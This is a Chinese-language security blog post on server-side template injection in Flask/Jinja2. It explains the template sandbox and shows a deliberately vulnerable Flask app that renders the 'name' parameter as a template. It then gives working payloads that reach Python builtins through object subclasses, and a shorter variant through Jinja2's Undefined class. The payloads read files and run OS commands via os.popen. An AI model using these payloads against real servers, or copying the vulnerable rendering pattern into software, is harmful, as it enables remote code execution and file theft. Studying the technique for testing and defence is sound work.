关于Flask SSTI，解锁你不知道的新姿势

Posted 2021-04-12 酒仙桥六号部队

这是 酒仙桥六号部队 的第 31 篇文章。

全文共计2388个字，预计阅读时长8分钟。

前言

本文主要介绍笔者在学习Flask SSTI相关知识时，无意中解锁了新姿势。在研究原理后，从中挖掘出新的奇怪知识点~

前置知识

Flask和SSTI介绍

Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug，模板引擎则使用Jinja2。

SSTI(Server-Side Template Injection)，即服务端模板注入攻击。通过与服务端模板的输入输出交互，在过滤不严格的情况下，构造恶意输入数据，从而达到读取文件或者getshell的目的。

jinja2 语法

在jinja2中，存在三种语法：

控制结构 {% %}变量取值 {{ }}注释 {# #}

jinja2模板中使用{{ }}语法表示一个变量，它是一种特殊的占位符。当利用jinja2进行渲染的时候，它会把这些特殊的占位符进行填充/替换，jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。被两个括号包裹的内容会输出其表达式的值。

沙箱绕过

jinja2的Python模板解释器在构建的时候考虑到了安全问题，删除了大部分敏感函数，相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用，而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的，从而绕过沙箱。

函数和属性解析:

__class__ 返回调用的参数类型__bases__ 返回基类列表__mro__ 此属性是在方法解析期间寻找基类时的参考类元组__subclasses__() 返回子类的列表__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量 与 func_globals 等价__builtins__ 内建模块的引用，在任何地方都是可见的(包括全局)，每个 Python 脚本都会自动加载，这个模块包括了很多强大的 built-in 函数，例如eval, exec, open等等

获取 object 类:

''.__class__.__mro__[2] # 在 python2 中字符串在考虑解析时会有三个参考类 str basestring object''.__class__.__mro__[1] # 在 python3 中字符串在考虑解析时会有两个参考类 str object{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]

原理解读

简单尝试

先来看下一个简单的Flask SSTI的实例：

from flask import Flask, requestfrom jinja2 import Template
app = Flask(__name__)
@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) # 创建模板 return t.render() # 渲染
if __name__ == "__main__": app.run(); # 启动 flask ，默认 5000 端口

代码很简单，就是访问主页的时候name参数会被渲染到页面。

可以看出来到这里有个反射型XSS，的确如此XSS就是这个位置有可能有SSTI的前奏。

name参数后边也可以输入表达式之类的，例如:

name={{2*2}}

name={{'abc'.upper()}}

可以看到取表达式的值是可以成功的。但是一旦直接调用普通函数就会报错：

name={{abs(-1)}}

后台显示abs未定义：

绕过沙箱

我们来尝试获取 "()" 的类型：

name={{().__class__.__name__}}

成功获取"()"的类型tuple（元组）。我们知道Python中所有类型的其实都是object类型，所以下面我们继续尝试：

获取到object类型：

name={{().__class__.__base__.__name__}}

获取到object的所有子类：

name={{''.__class__.__mro__[1].__subclasses__().__name__}}

发现子类型有很多，在这里我们需要找到内建模块中含有eval或者open的类型来使我们可以执行代码或读取文件。查找脚本如下：

code = 'eval' # 查找包含 eval 函数的内建模块的类型i = 0for c in ().__class__.__base__.__subclasses__(): if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]: print('{} {}'.format(i,c)) i = i + 1

运行结果：

在Python 2/3版本中有这么多类型的内建模块中都包含eval。这里为了让最后的结果同时兼容Python 2/3版本我们使用索引为77的类型：class 'site.Quitter'。

我们看看在这个class 'site.Quitter'的global环境下都可以执行那些函数：

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']}}

可以看到几个敏感函数eval、open、file等等，应有尽有。这样我们就可以做很多我们想做的事了。

执行代码abs(-1):

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

看到abs(-1)已经执行成功，至此我们已经成功绕过了沙箱，执行了本不可执行的代码。

常用可兼容Python 2/3版本的Payload：

读取文件：

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']("C:Windowswin.ini").read()}}

命令执行：

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

是不是觉得这些Payload有些长了呢？那么有没有什么办法可以缩减一些长度呢？

解锁新姿势

无意中的尝试

当我在编写脚本和将Payload输入浏览器的时候，因手误无意中组成了一个错误的Payload：

name={{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

执行结果：

竟然访问成功了！

那么为什么会访问成功呢？

().class.base.subclasses()理应返回的是object类型的所有子类的列表，是不应该包含c这个属性的。

理论上应该造成服务端错误返回500，服务器日志显示AttributeError: 'list' object has no attribute 'c'。但是结果却是成功执行了，这让我意识到jinja2的沙箱环境，跟普通Python运行环境还是有很多不同的。

既然这样的话我们就看下这个c对象的init函数到底是个啥？

name={{().__class__.__base__.__subclasses__().c.__init__}}

执行结果：

竟然是一个Undefined类型，也就是说如果碰到未定义的变量就会返回为Undefined类型。而Python官方库是没有这个类型的，也就是说明这个Undefined是jinja2框架提供的。我们在jinja2框架的源码中搜寻，最后在runtime.py中找到了Undefined这个class：

继承的是object类型，并且还有其他函数。为了确认是这个class，我们尝试使用_fail_with_undefined_error：

name={{().__class__.__base__.__subclasses__().c._fail_with_undefined_error}}

OK，确认过眼神，我遇见对的class!

既然都是Undefined那我随便定义一个未被定义过的变量也应该是Undefined：

name={{a.__init__.__globals__.__builtins__}}

既然Undefined类可以执行成功，那我们就可以看看他的全局global的内建模块中都包含什么了：

name={{a.__init__.__globals__.__builtins__}}

老样子，还是可以看到几个敏感函数eval、open等等，应有尽有。

优化 Payload

对此我们直接优化我们的Payload，使长度大大缩短，可读性也变强了。

优化后的兼容 Python 2/3 版本的 Payload：  

读取文件：

{{a.__init__.__globals__.__builtins__.open("C:Windowswin.ini").read()}}

命令执行：

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

最后